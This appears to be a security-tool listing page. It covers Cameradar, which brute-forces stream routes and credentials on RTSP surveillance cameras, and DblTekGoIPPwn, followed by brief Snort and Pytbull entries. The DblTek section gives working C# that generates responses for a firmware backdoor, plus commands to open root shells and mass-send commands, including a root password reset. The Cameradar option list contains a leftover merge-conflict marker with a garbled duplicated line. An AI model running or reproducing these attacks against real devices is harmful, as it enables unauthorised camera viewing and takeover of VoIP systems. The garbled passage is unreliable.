Cameradar - An RTSP Surveillance Camera Access Multitool

Cameradar hacks its way into RTSP CCTV cameras

Cameradar allows you to:

• Detect open RTSP hosts on any accessible target
• Get their public info (hostname, port, camera model, etc.)
• Launch automated dictionary attacks to get their stream route (for example /live.sdp)
• Launch automated dictionary attacks to get the username and password of the cameras
• Generate thumbnails from them to check if the streams are valid and to have a quick preview of their content
• Try to create a Gstreamer pipeline to check if they are properly encoded
• Print a summary of all the informations Cameradar could get

And all of this in a single command-line.
Of course, you can also call for individual tasks if you plug in a Database to Cameradar using the MySQL cache manager for example. You can create your own cache manager by following the simple example of the dumb cache manager.

Quick install
The quick install uses docker to build Cameradar without polluting your machine with dependencies and makes it easy to deploy Cameradar in a few commands. However, it may require networking knowledge, as your docker containers will need access to the cameras subnetwork.

Dependencies
The only dependencies are docker, docker-tools, git and make.

Five steps guide

1. git clone https://github.com/EtixLabs/cameradar.git
2. cd cameradar/deployment
3. Tweak the conf/cameradar.conf.json as you need (see the configuration guide here for more information)
4. docker-compose build ; docker-compose up

By default, the version of the package in the deployment should be the last stable release.
If you want to scan a different target or different ports, change the values CAMERAS_TARGET and CAMERAS_PORTS in the docker-compose.yml file.
The generated thumbnails will be in the cameradar_thumbnails folder after Cameradar has finished executing.
If you want to deploy your custom version of Cameradar using the same method, you should check the advanced docker deployment tutorial here.

Manual installation
The manual installation is recommended if you want to tweak Cameradar and quickly test them using CMake and running Cameradar in command-line. If you just want to use Cameradar, it is recommended to use the quick install instead.

Dependencies
To install Cameradar you will need these packages

• cmake (cmake)
• git (git)
• gstreamer1.x (libgstreamer1.0-dev)
• ffmpeg (ffmpeg)
• boost (libboost-all-dev)
• libcurl (libcurl4-openssl-dev)

Steps
The simplest way would be to follow these steps :

1. git clone https://github.com/EtixLabs/cameradar.git
2. cd cameradar
3. mkdir build
4. cd build
5. cmake ..
6. make
7. cd cameradar_standalone
8. ./cameradar -s the_target_you_want_to_scan

Output
For each camera, Cameradar will output these JSON objects :

{
   "address" : "173.16.100.45",
   "ids_found" : true,
   "password" : "123456",
   "path_found" : true,
   "port" : 554,
   "product" : "Vivotek FD9381-HTV",
   "protocol" : "tcp",
   "route" : "/live.sdp",
   "service_name" : "rtsp",
   "state" : "open",
   "thumbnail_path" : "/tmp/127.0.0.1/1463735257.jpg",
   "username" : "admin"
}

Check camera access
If you have VLC Media Player, you should be able to use the GUI to connect to the RTSP stream using this format : rtsp://username:password@address:port/route
With the above result, the RTSP URL would be rtsp://admin:123456@173.16.100.45:554/live.sdp
If you're still in your console however, you can go even faster by using vlc in commmand-line and just run vlc rtsp://username:password@address:port/route with the camera's info instead of the placeholders.

Command line options

• "-c" : Set a custom path to the configuration file (-c /path/to/conf) <<<<<<< HEAD
• "-s" : Set custom subnets (overrides configuration) : You can use this argument in many ways, using a subnet (e.g.: 172.16.100.0/24) or even an IP (e.g.: 172.16.100.10), a range of IPs (e.g.: 172.16.100.10-172.16.100.20) or a mix of all those (e.g.: 172.17.100.0/24,172.16.100.10-172.16.100.20,0.0.0.0). =======
• "-s" : Set custom target (overrides configuration)
• "-p" : Set custom ports (overrides configuration)
• "-m" : Set number of threads (Default value : 1)
• "-l" : Set log level
  • "-l 1" : Log level DEBUG
    • Will print everything including debugging logs
  • "-l 2" : Log level INFO
    • Prints every normal information
  • "-l 4" : Log level WARNING
    • Only prints warning and errors
  • "-l 5" : Log level ERROR
    • Only prints errors
  • "-l 6" : Log level CRITICAL
    • Doesn't print anything since Cameradar can't have critical failures right now, however you can use this level to debug your own code easily or if you add new critical layers
• "-d" : Launch the discovery tool
• "-b" : Launch the dictionary attack tool on all discovered devices
  • Needs either to be launched with the -d option or to use an advanced cache manager (DB, file, ...) with data already present
• "-t" : Generate thumbnails from detected cameras
  • Needs either to be launched with the -d option or to use an advanced cache manager (DB, file, ...) with data already present
• "-g" : Check if the stream can be opened with GStreamer
  • Needs either to be launched with the -d option or to use an advanced cache manager (DB, file, ...) with data already present
• "-v" : Display Cameradar's version
• "-h" : Display this help
• "--gst-rtsp-server" : Use this option if the attack does not seem to work (only detects the username but not the path, or the opposite). This option will switch the order of the attacks to prioritize path over credentials, which is the way priority is handled for cameras that use GStreamer's RTSP server.

Download Cameradar

Read More

DblTekGoIPPwn - Tool to check if an IP of a DblTek GoIP is vulnerable to a challenge-response login system, execute remote commands botnet style, and generate responses to challenges

Tool to exploit challenge response system in vulnerable DblTek GoIP devices. Can generate responses to specified challenges, test hosts for the vulnerability, run commands on vulnerable hosts, and drop into a root shell on any vulnerable host.

The Vulnerability
On March 2nd, 2017, Trustwave released a vulnerability that security researchers found in the DblTek GoIP VoIP Phone. The vulnerability was a backdoor in the firmware for an account named 'dbladm'. When a user entered this as their username in a telnet prompt, the system would present a challenge that when followed with the right response, gave the user a root shell on the system.
The problem with such a challenge response system is that the devices are as secure as the algorithm for generating the responses, which was reverse engineered from firmware binaries provided by DblTek. Using this algorithm, a root shell can be aquired on ANY DblTek GoIP device.
Original Article: https://www.trustwave.com/Resources/SpiderLabs-Blog/Undocumented-Backdoor-Account-in-DBLTek-GoIP/
Using the description of the backdoor provided in the article, I was able to write what I believe to be some of the first exploit code for this vulnerability. The core of this is of course the algorithm to generate the response based on a given challenge. Here is a function to do this written in C#.

static string ComputeResponse(string challengeStr)
{
    int challenge = Convert.ToInt32(challengeStr.Substring(1)); // Get just the number after 'N'.

    string modified = (challenge + 20139 + (challenge >> 3)).ToString(); // Perform some dummy 1337 operations.

    byte[] buffer = new byte[64];
    // Copy the string into the first part of the buffer.
    for (int i = 0; i < modified.Length; i++)
        buffer[i] = (byte)modified[i];

    var md5 = MD5.Create();
    byte[] hash = md5.ComputeHash(buffer); // Calculate the MD5 of the buffer.

    StringBuilder sb = new StringBuilder(); // Will hold the results.
    // Take the unpadded hex value of the first six bytes of the MD5.
    for (int i = 0; i < 6; i++)
        sb.Append(hash[i].ToString("x"));

    return sb.ToString(); // Profit
}

DblTekGoIPPwn Command Line Interface (CLI)
When DblTekPwn is ran without arguments, the help is displayed. This is the output:

USAGE: DblTekPwn.exe [MODE] [HOSTS] [OUTPUT]

[MODE]:
-c --compute-response [CHALLENGE]         Computes a response to the given challenge.
-r --root-shell                           Starts a root shell with the vulnerable host.
-s --send-commands    [COMMAND_FILE]      Sends commands from a file to vulnerable hosts.
-t --test                                 Tests hosts and determines if they are vulnerable.
-h --help                                 Displays this help and exits.

[HOSTS]:
-n --name             [IP]                Specifies a single IP address.
-f --file             [IP_FILE]           Specifies a file with IP\nIP\nIP.

[OUTPUT]:
-o --output           [OUTPUT_FILE]       Specifies an output file. Default stdin.

Examples

Getting a Root Shell on a Vulnerable System
DblTekGoIPPwn makes it easy to get a root shell on any vulnerable system. Simply run the following command using the vulnerable IP.

DblTekPwn.exe --root-shell --name 192.168.1.1

You will see output that looks like this:

Password: ***********

From here you can begin entering commands (there is no shell prompt).

Calculating a Challenge Response
Say you wanted to calculate the response to a GoIP challenge N1746203308 . You would just run the following command.

DblTekPwn --compute-response N1746203308

The output will be the response:

d6176d3aab2

Checking a List of IPs
Say you wished to check list.txt of IPs for GoIPs that are vulnerable and send this output to results.txt . First make sure that the IPs are in format ip:port (port is default 23) and that the IPs are seperated by a newline \n . The following command could then be ran.

DblTekPwn.exe --test --file list.txt --output results.txt

list.txt:

192.168.1.0
192.168.1.1
192.168.1.2:1337
192.168.1.3
192.168.1.4:2323

results.txt:

192.168.1.0 False
192.168.1.1 True
192.168.1.2:1337 True
192.168.1.3 False
192.168.1.4:2323 False

The False or True after the host indicates whether or not the IP is vulnerable.

Sending Commands to a List of IPs
Say you had a list of commands (which is really a list of telnet inputs) in cmds.txt to send to list.txt of IPs and send the output to results.txt . First make sure that the IPs are in format ip:port (port is default 23) and that BOTH the IPs AND commands are seperated by a newline \n in their respective files. The following command could then be ran.

DblTekPwn.exe --send-commands cmds.txt --file list.txt --output results.txt

list.txt:

192.168.1.0
192.168.1.1
192.168.1.2:1337
192.168.1.3
192.168.1.4:2323

cmds.txt:

passwd root
toor
toor

exit

results.txt:

192.168.1.0 False
192.168.1.1 True
192.168.1.2:1337 True
192.168.1.3 False
192.168.1.4:2323 False

The False or True after the host indicates whether or not the connection was successfully made and the commands delivered.

Download DblTekGoIPPwn

Read More

Snort 3.0 - Network intrusion prevention and detection system (IDS/IPS)

Snort is the most powerful IPS in the world, setting the standard for intrusion detection. So when we started thinking about what the next generation of IPS looked like we started from scratch.

Features

• Support multiple packet processing threads
• Shared configuration and attribute table
• Use a simple, scriptable configuration
• Make key components pluggable
• Autodetect services for portless configuration
• Support sticky buffers in rules
• Autogenerate reference documentation
• Provide better cross platform support

Download Snort 3

Read More

[Pytbull] IDS/IPS Testing Framework

Pytbull is an Intrusion Detection/Prevention System (IDS/IPS) Testing Framework for Snort, Suricata and any IDS/IPS that generates an alert file. It can be used to test the detection and blocking capabilities of an IDS/IPS and to validate config.

Download Pytbull

Read More

[Snort 2.9.5] Network intrusion prevention and detection system (IDS/IPS)

Snort® is an open source network intrusion prevention and detection system (IDS/IPS) developed by Sourcefire. Combining the benefits of signature, protocol, and anomaly-based inspection, Snort is the most widely deployed IDS/IPS technology worldwide. With millions of downloads and nearly 400,000 registered users, Snort has become the de facto standard for IPS.

[*] New additions

* Added tracking of FTP data channel for file transfers as file_data for Snort rules.

* Add support for doing PAF based on services loaded thru the attribute table and hardened PAF code/removed --disable-paf

* Added decoding support for Cisco ERSPAN

* Added tracking of HTTP uploads as file_data for Snort rules.

* Added ability to use event filters with PPM rules

* Added a control channel command to reload the Snort configuration to give feedback on new configuration.  This improves on the older sigHUP which would just result in Snort exiting and restarting if the new configuration required a restart.

* Added a configuration option to perfmon to write flow-ip data to a file

* New decoding alert for IPv6 Routing type 0 header.

* Added the ability to sync basic session state from one Snort to another via a side channel communication between the two Snort instances.  NOTE:  This is currently experimental.

[*] Improvements

* Improved Stream's midstream pickup handling for TCP state processing,

  sequence validation, and reassembly.  Thanks to John Eure.

* Added a parse error for a rule if there is a relative content used after a content that is 'fast_pattern only'.

* Improved HTTP PAF reassembly capabilities to be better aligned on PDU boundaries, terminate if not actually HTTP, and to include all appropriate line feeds.

* Hardened the code related to dynamic modules.  Removed --disable- dynamicplugin configuration option since rule and preprocessor shared libraries are here to stay.

* Improved parsing of IP lists for reputation

* Update to Teredo processing and Snort rule evaluation when the inner IPv6 packet doesn't have payload.  Thanks to Yun Zheng Hu & L0rd Ch0de1m0rt for reporting the issue & crafting traffic to reproduce. 

* Improved logging of packets associated with alerts when a Stream reassembled packet triggers multiple Snort rules.

* Improvements to the Snort manual including documentation of specific rule options and configuration items.  Thanks to Nicholas Horton and many others.

* Removed a bunch of dead code paths, updated to use more current memory functions for easier code maintenance and portability.  Thanks to William Parker.

[*] Deletions

* Remove deprecated unified support, use unified2 for all of your logging needs.

Download Snort 2.9.5

Read More